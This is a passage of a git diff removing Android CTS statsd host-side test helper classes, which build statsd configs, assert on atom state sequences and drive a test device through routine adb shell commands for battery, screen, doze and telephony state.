- * Adds an event to the config for an atom that matches the given key.
- *
- * @param conf configuration
- * @param atomTag atom tag (from atoms.proto)
- * @param fvm FieldValueMatcher.Builder for the relevant key
- */
- protected void addAtomEvent(StatsdConfig.Builder conf, int atomTag,
- FieldValueMatcher.Builder fvm)
- throws Exception {
- addAtomEvent(conf, atomTag, Arrays.asList(fvm));
- }
-
- /**
- * Adds an event to the config for an atom that matches the given keys.
- *
- * @param conf configuration
- * @param atomId atom tag (from atoms.proto)
- * @param fvms list of FieldValueMatcher.Builders to attach to the atom. May be null.
- */
- protected void addAtomEvent(StatsdConfig.Builder conf, int atomId,
- List<FieldValueMatcher.Builder> fvms) throws Exception {
-
- final String atomName = "Atom" + System.nanoTime();
- final String eventName = "Event" + System.nanoTime();
-
- SimpleAtomMatcher.Builder sam = SimpleAtomMatcher.newBuilder().setAtomId(atomId);
- if (fvms != null) {
- for (FieldValueMatcher.Builder fvm : fvms) {
- sam.addFieldValueMatcher(fvm);
- }
- }
- conf.addAtomMatcher(AtomMatcher.newBuilder()
- .setId(atomName.hashCode())
- .setSimpleAtomMatcher(sam));
- conf.addEventMetric(EventMetric.newBuilder()
- .setId(eventName.hashCode())
- .setWhat(atomName.hashCode()));
- }
-
- /**
- * Adds an atom to a gauge metric of a config
- *
- * @param conf configuration
- * @param atomId atom id (from atoms.proto)
- * @param gaugeMetric the gauge metric to add
- */
- protected void addGaugeAtom(StatsdConfig.Builder conf, int atomId,
- GaugeMetric.Builder gaugeMetric) throws Exception {
- final String atomName = "Atom" + System.nanoTime();
- final String gaugeName = "Gauge" + System.nanoTime();
- final String predicateName = "APP_BREADCRUMB";
- SimpleAtomMatcher.Builder sam = SimpleAtomMatcher.newBuilder().setAtomId(atomId);
- conf.addAtomMatcher(AtomMatcher.newBuilder()
- .setId(atomName.hashCode())
- .setSimpleAtomMatcher(sam));
- final String predicateTrueName = "APP_BREADCRUMB_1";
- final String predicateFalseName = "APP_BREADCRUMB_2";
- conf.addAtomMatcher(AtomMatcher.newBuilder()
- .setId(predicateTrueName.hashCode())
- .setSimpleAtomMatcher(SimpleAtomMatcher.newBuilder()
- .setAtomId(Atom.APP_BREADCRUMB_REPORTED_FIELD_NUMBER)
- .addFieldValueMatcher(FieldValueMatcher.newBuilder()
- .setField(AppBreadcrumbReported.LABEL_FIELD_NUMBER)
- .setEqInt(1)
- )
- )
- )
- // Used to trigger predicate
- .addAtomMatcher(AtomMatcher.newBuilder()
- .setId(predicateFalseName.hashCode())
- .setSimpleAtomMatcher(SimpleAtomMatcher.newBuilder()
- .setAtomId(Atom.APP_BREADCRUMB_REPORTED_FIELD_NUMBER)
- .addFieldValueMatcher(FieldValueMatcher.newBuilder()
- .setField(AppBreadcrumbReported.LABEL_FIELD_NUMBER)
- .setEqInt(2)
- )
- )
- );
- conf.addPredicate(Predicate.newBuilder()
- .setId(predicateName.hashCode())
- .setSimplePredicate(SimplePredicate.newBuilder()
- .setStart(predicateTrueName.hashCode())
- .setStop(predicateFalseName.hashCode())
- .setCountNesting(false)
- )
- );
- gaugeMetric
- .setId(gaugeName.hashCode())
- .setWhat(atomName.hashCode())
- .setCondition(predicateName.hashCode());
- conf.addGaugeMetric(gaugeMetric.build());
- }
-
- /**
- * Adds an atom to a gauge metric of a config
- *
- * @param conf configuration
- * @param atomId atom id (from atoms.proto)
- * @param dimension dimension is needed for most pulled atoms
- */
- protected void addGaugeAtomWithDimensions(StatsdConfig.Builder conf, int atomId,
- @Nullable FieldMatcher.Builder dimension) throws Exception {
- GaugeMetric.Builder gaugeMetric = GaugeMetric.newBuilder()
- .setGaugeFieldsFilter(FieldFilter.newBuilder().setIncludeAll(true).build())
- .setSamplingType(GaugeMetric.SamplingType.CONDITION_CHANGE_TO_TRUE)
- .setMaxNumGaugeAtomsPerBucket(10000)
- .setBucket(TimeUnit.CTS);
- if (dimension != null) {
- gaugeMetric.setDimensionsInWhat(dimension.build());
- }
- addGaugeAtom(conf, atomId, gaugeMetric);
- }
-
- /**
- * Asserts that each set of states in stateSets occurs at least once in data.
- * Asserts that the states in data occur in the same order as the sets in stateSets.
- *
- * @param stateSets A list of set of states, where each set represents an equivalent
- * state of the device for the purpose of CTS.
- * @param data list of EventMetricData from statsd, produced by
- * getReportMetricListData()
- * @param wait expected duration (in ms) between state changes; asserts that the
- * actual wait
- * time was wait/2 <= actual_wait <= 5*wait. Use 0 to ignore this
- * assertion.
- * @param getStateFromAtom expression that takes in an Atom and returns the state it contains
- */
- public void assertStatesOccurred(List<Set<Integer>> stateSets, List<EventMetricData> data,
- int wait, Function<Atom, Integer> getStateFromAtom) {
- // Sometimes, there are more events than there are states.
- // Eg: When the screen turns off, it may go into OFF and then DOZE immediately.
- assertWithMessage("Too few states found").that(data.size()).isAtLeast(stateSets.size());
- int stateSetIndex = 0; // Tracks which state set we expect the data to be in.
- for (int dataIndex = 0; dataIndex < data.size(); dataIndex++) {
- Atom atom = data.get(dataIndex).getAtom();
- int state = getStateFromAtom.apply(atom);
- // If state is in the current state set, we do not assert anything.
- // If it is not, we expect to have transitioned to the next state set.
- if (stateSets.get(stateSetIndex).contains(state)) {
- // No need to assert anything. Just log it.
- LogUtil.CLog.i("The following atom at dataIndex=" + dataIndex + " is "
- + "in stateSetIndex " + stateSetIndex + ":\n"
- + data.get(dataIndex).getAtom().toString());
- } else {
- stateSetIndex += 1;
- LogUtil.CLog.i("Assert that the following atom at dataIndex=" + dataIndex + " is"
- + " in stateSetIndex " + stateSetIndex + ":\n"
- + data.get(dataIndex).getAtom().toString());
- assertWithMessage("Missed first state").that(dataIndex).isNotEqualTo(0);
- assertWithMessage("Too many states").that(stateSetIndex)
- .isLessThan(stateSets.size());
- assertWithMessage(String.format("Is in wrong state (%d)", state))
- .that(stateSets.get(stateSetIndex)).contains(state);
- if (wait > 0) {
- assertTimeDiffBetween(data.get(dataIndex - 1), data.get(dataIndex),
- wait / 2, wait * 5);
- }
- }
- }
- assertWithMessage("Too few states").that(stateSetIndex).isEqualTo(stateSets.size() - 1);
- }
-
- /**
- * Removes all elements from data prior to the first occurrence of an element of state. After
- * this method is called, the first element of data (if non-empty) is guaranteed to be an
- * element in state.
- *
- * @param getStateFromAtom expression that takes in an Atom and returns the state it contains
- */
- public void popUntilFind(List<EventMetricData> data, Set<Integer> state,
- Function<Atom, Integer> getStateFromAtom) {
- int firstStateIdx;
- for (firstStateIdx = 0; firstStateIdx < data.size(); firstStateIdx++) {
- Atom atom = data.get(firstStateIdx).getAtom();
- if (state.contains(getStateFromAtom.apply(atom))) {
- break;
- }
- }
- if (firstStateIdx == 0) {
- // First first element already is in state, so there's nothing to do.
- return;
- }
- data.subList(0, firstStateIdx).clear();
- }
-
- /**
- * Removes all elements from data after to the last occurrence of an element of state. After
- * this method is called, the last element of data (if non-empty) is guaranteed to be an
- * element in state.
- *
- * @param getStateFromAtom expression that takes in an Atom and returns the state it contains
- */
- public void popUntilFindFromEnd(List<EventMetricData> data, Set<Integer> state,
- Function<Atom, Integer> getStateFromAtom) {
- int lastStateIdx;
- for (lastStateIdx = data.size() - 1; lastStateIdx >= 0; lastStateIdx--) {
- Atom atom = data.get(lastStateIdx).getAtom();
- if (state.contains(getStateFromAtom.apply(atom))) {
- break;
- }
- }
- if (lastStateIdx == data.size()-1) {
- // Last element already is in state, so there's nothing to do.
- return;
- }
- data.subList(lastStateIdx+1, data.size()).clear();
- }
-
- /** Returns the UID of the host, which should always either be SHELL (2000) or ROOT (0). */
- protected int getHostUid() throws DeviceNotAvailableException {
- String strUid = "";
- try {
- strUid = getDevice().executeShellCommand("id -u");
- return Integer.parseInt(strUid.trim());
- } catch (NumberFormatException e) {
- LogUtil.CLog.e("Failed to get host's uid via shell command. Found " + strUid);
- // Fall back to alternative method...
- if (getDevice().isAdbRoot()) {
- return 0; // ROOT
- } else {
- return 2000; // SHELL
- }
- }
- }
-
- protected String getProperty(String prop) throws Exception {
- return getDevice().executeShellCommand("getprop " + prop).replace("\n", "");
- }
-
- protected void turnScreenOn() throws Exception {
- getDevice().executeShellCommand("input keyevent KEYCODE_WAKEUP");
- getDevice().executeShellCommand("wm dismiss-keyguard");
- }
-
- protected void turnScreenOff() throws Exception {
- getDevice().executeShellCommand("input keyevent KEYCODE_SLEEP");
- }
-
- protected void setChargingState(int state) throws Exception {
- getDevice().executeShellCommand("cmd battery set status " + state);
- }
-
- protected void unplugDevice() throws Exception {
- // On batteryless devices on Android P or above, the 'unplug' command
- // alone does not simulate the really unplugged state.
- //
- // This is because charging state is left as "unknown". Unless a valid
- // state like 3 = BatteryManager.BATTERY_STATUS_DISCHARGING is set,
- // framework does not consider the device as running on battery.
- setChargingState(3);
-
- getDevice().executeShellCommand("cmd battery unplug");
- }
-
- protected void plugInAc() throws Exception {
- getDevice().executeShellCommand("cmd battery set ac 1");
- }
-
- protected void plugInUsb() throws Exception {
- getDevice().executeShellCommand("cmd battery set usb 1");
- }
-
- protected void plugInWireless() throws Exception {
- getDevice().executeShellCommand("cmd battery set wireless 1");
- }
-
- protected void enableLooperStats() throws Exception {
- getDevice().executeShellCommand("cmd looper_stats enable");
- }
-
- protected void resetLooperStats() throws Exception {
- getDevice().executeShellCommand("cmd looper_stats reset");
- }
-
- protected void disableLooperStats() throws Exception {
- getDevice().executeShellCommand("cmd looper_stats disable");
- }
-
- protected void enableBinderStats() throws Exception {
- getDevice().executeShellCommand("dumpsys binder_calls_stats --enable");
- }
-
- protected void resetBinderStats() throws Exception {
- getDevice().executeShellCommand("dumpsys binder_calls_stats --reset");
- }
-
- protected void disableBinderStats() throws Exception {
- getDevice().executeShellCommand("dumpsys binder_calls_stats --disable");
- }
-
- protected void binderStatsNoSampling() throws Exception {
- getDevice().executeShellCommand("dumpsys binder_calls_stats --no-sampling");
- }
-
- protected void setUpLooperStats() throws Exception {
- getDevice().executeShellCommand("cmd looper_stats enable");
- getDevice().executeShellCommand("cmd looper_stats sampling_interval 1");
- getDevice().executeShellCommand("cmd looper_stats reset");
- }
-
- protected void cleanUpLooperStats() throws Exception {
- getDevice().executeShellCommand("cmd looper_stats disable");
- }
-
- public void setAppBreadcrumbPredicate() throws Exception {
- doAppBreadcrumbReportedStart(1);
- }
-
- public void clearAppBreadcrumbPredicate() throws Exception {
- doAppBreadcrumbReportedStart(2);
- }
-
- public void doAppBreadcrumbReportedStart(int label) throws Exception {
- doAppBreadcrumbReported(label, AppBreadcrumbReported.State.START.ordinal());
- }
-
- public void doAppBreadcrumbReportedStop(int label) throws Exception {
- doAppBreadcrumbReported(label, AppBreadcrumbReported.State.STOP.ordinal());
- }
-
- public void doAppBreadcrumbReported(int label) throws Exception {
- doAppBreadcrumbReported(label, AppBreadcrumbReported.State.UNSPECIFIED.ordinal());
- }
-
- public void doAppBreadcrumbReported(int label, int state) throws Exception {
- getDevice().executeShellCommand(String.format(
- "cmd stats log-app-breadcrumb %d %d", label, state));
- }
-
- protected void setBatteryLevel(int level) throws Exception {
- getDevice().executeShellCommand("cmd battery set level " + level);
- }
-
- protected void resetBatteryStatus() throws Exception {
- getDevice().executeShellCommand("cmd battery reset");
- }
-
- protected int getScreenBrightness() throws Exception {
- return Integer.parseInt(
- getDevice().executeShellCommand("settings get system screen_brightness").trim());
- }
-
- protected void setScreenBrightness(int brightness) throws Exception {
- getDevice().executeShellCommand("settings put system screen_brightness " + brightness);
- }
-
- // Gets whether "Always on Display" setting is enabled.
- // In rare cases, this is different from whether the device can enter SCREEN_STATE_DOZE.
- protected String getAodState() throws Exception {
- return getDevice().executeShellCommand("settings get secure doze_always_on");
- }
-
- protected void setAodState(String state) throws Exception {
- getDevice().executeShellCommand("settings put secure doze_always_on " + state);
- }
-
- protected boolean isScreenBrightnessModeManual() throws Exception {
- String mode = getDevice().executeShellCommand("settings get system screen_brightness_mode");
- return Integer.parseInt(mode.trim()) == 0;
- }
-
- protected void setScreenBrightnessMode(boolean manual) throws Exception {
- getDevice().executeShellCommand(
- "settings put system screen_brightness_mode " + (manual ? 0 : 1));
- }
-
- protected void enterDozeModeLight() throws Exception {
- getDevice().executeShellCommand("dumpsys deviceidle force-idle light");
- }
-
- protected void enterDozeModeDeep() throws Exception {
- getDevice().executeShellCommand("dumpsys deviceidle force-idle deep");
- }
-
- protected void leaveDozeMode() throws Exception {
- getDevice().executeShellCommand("dumpsys deviceidle unforce");
- getDevice().executeShellCommand("dumpsys deviceidle disable");
- getDevice().executeShellCommand("dumpsys deviceidle enable");
- }
-
- protected void turnBatterySaverOn() throws Exception {
- unplugDevice();
- getDevice().executeShellCommand("settings put global low_power 1");
- }
-
- protected void turnBatterySaverOff() throws Exception {
- getDevice().executeShellCommand("settings put global low_power 0");
- getDevice().executeShellCommand("cmd battery reset");
- }
-
- protected void rebootDevice() throws Exception {
- getDevice().rebootUntilOnline();
- }
-
- /**
- * Asserts that the two events are within the specified range of each other.
- *
- * @param d0 the event that should occur first
- * @param d1 the event that should occur second
- * @param minDiffMs d0 should precede d1 by at least this amount
- * @param maxDiffMs d0 should precede d1 by at most this amount
- */
- public static void assertTimeDiffBetween(EventMetricData d0, EventMetricData d1,
- int minDiffMs, int maxDiffMs) {
- long diffMs = (d1.getElapsedTimestampNanos() - d0.getElapsedTimestampNanos()) / 1_000_000;
- assertWithMessage("Illegal time difference")
- .that(diffMs).isIn(Range.closed((long) minDiffMs, (long) maxDiffMs));
- }
-
- protected String getCurrentLogcatDate() throws Exception {
- // TODO: Do something more robust than this for getting logcat markers.
- long timestampMs = getDevice().getDeviceDate();
- return new SimpleDateFormat("MM-dd HH:mm:ss.SSS")
- .format(new Date(timestampMs));
- }
-
- protected String getLogcatSince(String date, String logcatParams) throws Exception {
- return getDevice().executeShellCommand(String.format(
- "logcat -v threadtime -t '%s' -d %s", date, logcatParams));
- }
-
- // TODO: Remove this and migrate all usages to createConfigBuilder()
- protected StatsdConfig.Builder getPulledConfig() {
- return createConfigBuilder();
- }
- /**
- * Determines if the device has the given feature.
- * Prints a warning if its value differs from requiredAnswer.
- */
- protected boolean hasFeature(String featureName, boolean requiredAnswer) throws Exception {
- final String features = getDevice().executeShellCommand("pm list features");
- boolean hasIt = features.contains(featureName);
- if (hasIt != requiredAnswer) {
- LogUtil.CLog.w("Device does " + (requiredAnswer ? "not " : "") + "have feature "
- + featureName);
- }
- return hasIt == requiredAnswer;
- }
-
- /**
- * Determines if the device has |file|.
- */
- protected boolean doesFileExist(String file) throws Exception {
- return getDevice().doesFileExist(file);
- }
-
- protected void turnOnAirplaneMode() throws Exception {
- getDevice().executeShellCommand("cmd connectivity airplane-mode enable");
- }
-
- protected void turnOffAirplaneMode() throws Exception {
- getDevice().executeShellCommand("cmd connectivity airplane-mode disable");
- }
-
- /**
- * Returns a list of fields and values for {@code className} from {@link TelephonyDebugService}
- * output.
- *
- * <p>Telephony dumpsys output does not support proto at the moment. This method provides
- * limited support for parsing its output. Specifically, it does not support arrays or
- * multi-line values.
- */
- private List<Map<String, String>> getTelephonyDumpEntries(String className) throws Exception {
- // Matches any line with indentation, except for lines with only spaces
- Pattern indentPattern = Pattern.compile("^(\\s*)[^ ].*$");
- // Matches pattern for class, e.g. " Phone:"
- Pattern classNamePattern = Pattern.compile("^(\\s*)" + Pattern.quote(className) + ":.*$");
- // Matches pattern for key-value pairs, e.g. " mPhoneId=1"
- Pattern keyValuePattern = Pattern.compile("^(\\s*)([a-zA-Z]+[a-zA-Z0-9_]*)\\=(.+)$");
- String response =
- getDevice().executeShellCommand("dumpsys activity service TelephonyDebugService");
- Queue<String> responseLines = new LinkedList<>(Arrays.asList(response.split("[\\r\\n]+")));
-
- List<Map<String, String>> results = new ArrayList<>();
- while (responseLines.peek() != null) {
- Matcher matcher = classNamePattern.matcher(responseLines.poll());
- if (matcher.matches()) {
- final int classIndentLevel = matcher.group(1).length();
- final Map<String, String> instanceEntries = new HashMap<>();
- while (responseLines.peek() != null) {
- // Skip blank lines
- matcher = indentPattern.matcher(responseLines.peek());
- if (responseLines.peek().length() == 0 || !matcher.matches()) {
- responseLines.poll();
- continue;
- }
- // Finish (without consuming the line) if already parsed past this instance
- final int indentLevel = matcher.group(1).length();
- if (indentLevel <= classIndentLevel) {
- break;
- }
- // Parse key-value pair if it belongs to the instance directly
- matcher = keyValuePattern.matcher(responseLines.poll());
- if (indentLevel == classIndentLevel + 1 && matcher.matches()) {
- instanceEntries.put(matcher.group(2), matcher.group(3));
- }
- }
- results.add(instanceEntries);
- }
- }
- return results;
- }
-
- protected int getActiveSimSlotCount() throws Exception {
- List<Map<String, String>> slots = getTelephonyDumpEntries("UiccSlot");
- long count = slots.stream().filter(slot -> "true".equals(slot.get("mActive"))).count();
- return Math.toIntExact(count);
- }
-
- /**
- * Returns the upper bound of active SIM profile count.
- *
- * <p>The value is an upper bound as eSIMs without profiles are also counted in.
- */
- protected int getActiveSimCountUpperBound() throws Exception {
- List<Map<String, String>> slots = getTelephonyDumpEntries("UiccSlot");
- long count = slots.stream().filter(slot ->
- "true".equals(slot.get("mActive"))
- && "CARDSTATE_PRESENT".equals(slot.get("mCardState"))).count();
- return Math.toIntExact(count);
- }
-
- /**
- * Returns the upper bound of active eSIM profile count.
- *
- * <p>The value is an upper bound as eSIMs without profiles are also counted in.
- */
- protected int getActiveEsimCountUpperBound() throws Exception {
- List<Map<String, String>> slots = getTelephonyDumpEntries("UiccSlot");
- long count = slots.stream().filter(slot ->
- "true".equals(slot.get("mActive"))
- && "CARDSTATE_PRESENT".equals(slot.get("mCardState"))
- && "true".equals(slot.get("mIsEuicc"))).count();
- return Math.toIntExact(count);
- }
-
- protected boolean hasGsmPhone() throws Exception {
- // Not using log entries or ServiceState in the dump since they may or may not be present,
- // which can make the test flaky
- return getTelephonyDumpEntries("Phone").stream()
- .anyMatch(phone ->
- String.format("%d", PHONE_TYPE_GSM).equals(phone.get("getPhoneType()")));
- }
-
- protected boolean hasCdmaPhone() throws Exception {
- // Not using log entries or ServiceState in the dump due to the same reason as hasGsmPhone()
- return getTelephonyDumpEntries("Phone").stream()
- .anyMatch(phone ->
- String.format("%d", PHONE_TYPE_CDMA).equals(phone.get("getPhoneType()"))
- || String.format("%d", PHONE_TYPE_CDMA_LTE)
- .equals(phone.get("getPhoneType()")));
- }
-
- // Checks that a timestamp has been truncated to be a multiple of 5 min
- protected void assertTimestampIsTruncated(long timestampNs) {
- long fiveMinutesInNs = NS_PER_SEC * 5 * 60;
- assertWithMessage("Timestamp is not truncated")
- .that(timestampNs % fiveMinutesInNs).isEqualTo(0);
- }
-}
diff --git a/hostsidetests/statsd/src/android/cts/statsd/atom/BaseTestCase.java b/hostsidetests/statsd/src/android/cts/statsd/atom/BaseTestCase.java
deleted file mode 100644
index 0c9921e..0000000
--- a/hostsidetests/statsd/src/android/cts/statsd/atom/BaseTestCase.java
+++ /dev/null
@@ -1,183 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.cts.statsd.atom;
-
-import static com.google.common.truth.Truth.assertThat;
-import static com.google.common.truth.Truth.assertWithMessage;
-
-import android.cts.statsd.validation.ValidationTestUtil;
-
-import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper;
-import com.android.ddmlib.testrunner.RemoteAndroidTestRunner;
-import com.android.ddmlib.testrunner.TestResult.TestStatus;
-import com.android.tradefed.build.IBuildInfo;
-import com.android.tradefed.device.CollectingByteOutputReceiver;
-import com.android.tradefed.device.DeviceNotAvailableException;
-import com.android.tradefed.log.LogUtil.CLog;
-import com.android.tradefed.result.CollectingTestListener;
-import com.android.tradefed.result.TestDescription;
-import com.android.tradefed.result.TestResult;
-import com.android.tradefed.result.TestRunResult;
-import com.android.tradefed.testtype.DeviceTestCase;
-import com.android.tradefed.testtype.IBuildReceiver;
-
-import com.google.protobuf.InvalidProtocolBufferException;
-import com.google.protobuf.MessageLite;
-import com.google.protobuf.Parser;
-
-import java.io.FileNotFoundException;
-import java.util.Map;
-
-import javax.annotation.Nonnull;
-import javax.annotation.Nullable;
-
-// Largely copied from incident's ProtoDumpTestCase
-public class BaseTestCase extends DeviceTestCase implements IBuildReceiver {
-
- protected IBuildInfo mCtsBuild;
-
- private static final String TEST_RUNNER = "androidx.test.runner.AndroidJUnitRunner";
-
- @Override
- protected void setUp() throws Exception {
- super.setUp();
- assertThat(mCtsBuild).isNotNull();
- }
-
- @Override
- public void setBuild(IBuildInfo buildInfo) {
- mCtsBuild = buildInfo;
- }
-
- public IBuildInfo getBuild() {
- return mCtsBuild;
- }
-
- /**
- * Create and return {@link ValidationTestUtil} and give it the current build.
- */
- public ValidationTestUtil createValidationUtil() {
- ValidationTestUtil util = new ValidationTestUtil();
- util.setBuild(getBuild());
- return util;
- }
-
- /**
- * Call onto the device with an adb shell command and get the results of
- * that as a proto of the given type.
- *
- * @param parser A protobuf parser object. e.g. MyProto.parser()
- * @param command The adb shell command to run. e.g. "dumpsys fingerprint --proto"
- *
- * @throws DeviceNotAvailableException If there was a problem communicating with
- * the test device.
- * @throws InvalidProtocolBufferException If there was an error parsing
- * the proto. Note that a 0 length buffer is not necessarily an error.
- */
- public <T extends MessageLite> T getDump(Parser<T> parser, String command)
- throws DeviceNotAvailableException, InvalidProtocolBufferException {
- final CollectingByteOutputReceiver receiver = new CollectingByteOutputReceiver();
- getDevice().executeShellCommand(command, receiver);
- if (false) {
- CLog.d("Command output while parsing " + parser.getClass().getCanonicalName()
- + " for command: " + command + "\n"
- + BufferDebug.debugString(receiver.getOutput(), -1));
- }
- try {
- return parser.parseFrom(receiver.getOutput());
- } catch (Exception ex) {
- CLog.d("Error parsing " + parser.getClass().getCanonicalName() + " for command: "
- + command
- + BufferDebug.debugString(receiver.getOutput(), 16384));
- throw ex;
- }
- }
-
- /**
- * Install a device side test package.
- *
- * @param appFileName Apk file name, such as "CtsNetStatsApp.apk".
- * @param grantPermissions whether to give runtime permissions.
- */
- protected void installPackage(String appFileName, boolean grantPermissions)
- throws FileNotFoundException, DeviceNotAvailableException {
- CLog.d("Installing app " + appFileName);
- CompatibilityBuildHelper buildHelper = new CompatibilityBuildHelper(mCtsBuild);
- final String result = getDevice().installPackage(
- buildHelper.getTestFile(appFileName), true, grantPermissions);
- assertWithMessage(String.format("Failed to install %s: %s", appFileName, result))
- .that(result).isNull();
- }
-
- protected CompatibilityBuildHelper getBuildHelper() {
- return new CompatibilityBuildHelper(mCtsBuild);
- }
-
- /**
- * Run a device side test.
- *
- * @param pkgName Test package name, such as "com.android.server.cts.netstats".
- * @param testClassName Test class name; either a fully qualified name, or "." + a class name.
- * @param testMethodName Test method name.
- * @return {@link TestRunResult} of this invocation.
- * @throws DeviceNotAvailableException
- */
- @Nonnull
- protected TestRunResult runDeviceTests(@Nonnull String pkgName,
- @Nullable String testClassName, @Nullable String testMethodName)
- throws DeviceNotAvailableException {
- if (testClassName != null && testClassName.startsWith(".")) {
- testClassName = pkgName + testClassName;
- }
-
- RemoteAndroidTestRunner testRunner = new RemoteAndroidTestRunner(
- pkgName, TEST_RUNNER, getDevice().getIDevice());
- if (testClassName != null && testMethodName != null) {
- testRunner.setMethodName(testClassName, testMethodName);
- } else if (testClassName != null) {
- testRunner.setClassName(testClassName);
- }
-
- CollectingTestListener listener = new CollectingTestListener();
- assertThat(getDevice().runInstrumentationTests(testRunner, listener)).isTrue();
-
- final TestRunResult result = listener.getCurrentRunResults();
- if (result.isRunFailure()) {
- throw new Error("Failed to successfully run device tests for "
- + result.getName() + ": " + result.getRunFailureMessage());
- }
- if (result.getNumTests() == 0) {
- throw new Error("No tests were run on the device");
- }
-
- if (result.hasFailedTests()) {
- // build a meaningful error message
- StringBuilder errorBuilder = new StringBuilder("On-device tests failed:\n");
- for (Map.Entry<TestDescription, TestResult> resultEntry :
- result.getTestResults().entrySet()) {
- if (!resultEntry.getValue().getStatus().equals(TestStatus.PASSED)) {
- errorBuilder.append(resultEntry.getKey().toString());
- errorBuilder.append(":\n");
- errorBuilder.append(resultEntry.getValue().getStackTrace());
- }
- }
- throw new AssertionError(errorBuilder.toString());
- }
-
- return result;
- }
-}
diff --git a/hostsidetests/statsd/src/android/cts/statsd/atom/BufferDebug.java b/hostsidetests/statsd/src/android/cts/statsd/atom/BufferDebug.java
deleted file mode 100644
index 2b35052..0000000
--- a/hostsidetests/statsd/src/android/cts/statsd/atom/BufferDebug.java
+++ /dev/null
@@ -1,144 +0,0 @@
-/*
- * Copyright (C) 2020 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.cts.statsd.atom;
-
-import java.nio.charset.StandardCharsets;
-import java.util.Formatter;
-
-/**
- * Print utility for byte[].
- */
-public class BufferDebug {
- private static final int HALF_WIDTH = 8;
-
- /**
- * Number of bytes represented per row in hex output.
- */
- public static final int WIDTH = HALF_WIDTH * 2;
-
- /**
- * Return a string suitable for debugging.
- * - If the byte is printable as an ascii string, return that, in quotation marks,
- * with a newline at the end.
- * - Otherwise, return the hexdump -C style output.
- *
- * @param buf the buffer
- * @param max print up to _max_ bytes, or the length of the string. If max is 0,
- * print the whole contents of buf.
- */
- public static String debugString(byte[] buf, int max) {
- if (buf == null) {
- return "(null)";
- }
- if (buf.length == 0) {
- return "(length 0)";
- }
-
- int len = max;
- if (len <= 0 || len > buf.length) {
- max = len = buf.length;
- }
-
- if (isPrintable(buf, len)) {
- return "\"" + new String(buf, 0, len, StandardCharsets.UTF_8) + "\"\n";
- } else {
- return toHex(buf, len, max);
- }
- }
-
- private static String toHex(byte[] buf, int len, int max) {
- final StringBuilder str = new StringBuilder();
-
- // All but the last row
- int rows = len / WIDTH;
- for (int row = 0; row < rows; row++) {
- writeRow(str, buf, row * WIDTH, WIDTH, max);
- }
-
- // Last row
- if (len % WIDTH != 0) {
- writeRow(str, buf, rows * WIDTH, max - (rows * WIDTH), max);
- }
-
- // Final len
- str.append(String.format("%10d 0x%08x ", buf.length, buf.length));
- if (buf.length != max) {
- str.append(String.format("truncated to %d 0x%08x", max, max));
- }
- str.append('\n');
-
- return str.toString();
- }
-
- private static void writeRow(StringBuilder str, byte[] buf, int start, int len, int max) {
- final Formatter f = new Formatter(str);
-
- // Start index
- f.format("%10d 0x%08x ", start, start);
-
- // One past the last char we will print
- int end = start + len;
- // Number of missing caracters due to this being the last line.
- int padding = 0;
- if (start + WIDTH > max) {
- padding = WIDTH - (end % WIDTH);
- end = max;
- }
-
- // Hex
- for (int i = start; i < end; i++) {
- f.format("%02x ", buf[i]);
- if (i == start + HALF_WIDTH - 1) {
- str.append(" ");
- }
- }
- for (int i = 0; i < padding; i++) {
- str.append(" ");
- }
- if (padding >= HALF_WIDTH) {
- str.append(" ");
- }
-
- str.append(" ");
- for (int i = start; i < end; i++) {
- byte b = buf[i];
- if (isPrintable(b)) {
- str.append((char)b);
- } else {
- str.append('.');
- }
- if (i == start + HALF_WIDTH - 1) {
- str.append(" ");
- }
- }
-
- str.append('\n');
- }
-
- private static boolean isPrintable(byte[] buf, int len) {
- for (int i=0; i<len; i++) {
- if (!isPrintable(buf[i])) {
- return false;
- }
- }
- return true;
- }
-
- private static boolean isPrintable(byte c) {
- return c >= 0x20 && c <= 0x7e;
- }
-}
diff --git a/hostsidetests/statsd/src/android/cts/statsd/atom/DeviceAtomTestCase.java b/hostsidetests/statsd/src/android/cts/statsd/atom/DeviceAtomTestCase.java
deleted file mode 100644
index 03facd0..0000000
--- a/hostsidetests/statsd/src/android/cts/statsd/atom/DeviceAtomTestCase.java
+++ /dev/null
@@ -1,328 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.cts.statsd.atom;
-
-import static com.google.common.truth.Truth.assertThat;
-import static com.google.common.truth.Truth.assertWithMessage;
-
-import com.android.internal.os.StatsdConfigProto.FieldValueMatcher;
-import com.android.internal.os.StatsdConfigProto.MessageMatcher;
-import com.android.internal.os.StatsdConfigProto.Position;
-import com.android.internal.os.StatsdConfigProto.StatsdConfig;
-import com.android.os.StatsLog.EventMetricData;
-import com.android.tradefed.log.LogUtil;
-
-import java.util.Arrays;
-import java.util.List;
-
-/**
- * Base class for testing Statsd atoms that report a uid. Tests are performed via a device-side app.
- */
-public class DeviceAtomTestCase extends AtomTestCase {
-
- public static final String DEVICE_SIDE_TEST_APK = "CtsStatsdApp.apk";
- public static final String DEVICE_SIDE_TEST_PACKAGE =
- "com.android.server.cts.device.statsd";
- public static final long DEVICE_SIDE_TEST_PACKAGE_VERSION = 10;
- public static final String DEVICE_SIDE_TEST_FOREGROUND_SERVICE_NAME =
- "com.android.server.cts.device.statsd.StatsdCtsForegroundService";
